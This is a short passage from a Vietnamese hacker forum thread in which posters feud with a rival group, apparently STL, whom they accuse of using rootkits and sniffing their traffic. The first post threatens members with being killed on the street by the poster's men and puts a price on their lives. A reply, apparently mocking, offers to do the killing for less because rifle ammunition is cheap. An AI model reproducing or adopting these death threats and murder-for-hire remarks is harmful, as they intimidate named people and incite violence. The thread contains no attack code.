Tao sẽ theo vụ này tới cùng, đừng để thằng nào gặp tao ngoài đường nhé, đệ của tao xả chết ráng chịu nhe. Thách cho tụi mày có chính quyền chống lưng, chơi trò rootkit, snip packet của tao ?
PS: À quên, mạng của một thằng trong tụi mày cao lắm là 30 chai thôi, nhớ nhé ! 

Em báo giá lại cho anh là nếu em làm chỉ lấy 20 chai thôi, đạn AK dạo này mua rẻ vãi, có gì contact em nha smilie
PS: Các chú STL không biết sự vừa phải, việc làm của các chú dưới mức chấp nhận được của đạo đức căn bản, chứ đừng nói gì đến đạo đức của dân làm máy tính nói chung. Bản thân tôi rất muốn chơi công bằng với các chú đó (a.k.a Neo, a.k.a XXX smilie ???)
Cánh chym không mỏi
lol
[Up] [Print Copy]
[digg] [delicious] [google] [yahoo] [technorati] [reddit] [stumbleupon]
Go to: 
 Users currently in here 
2 Anonymous

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|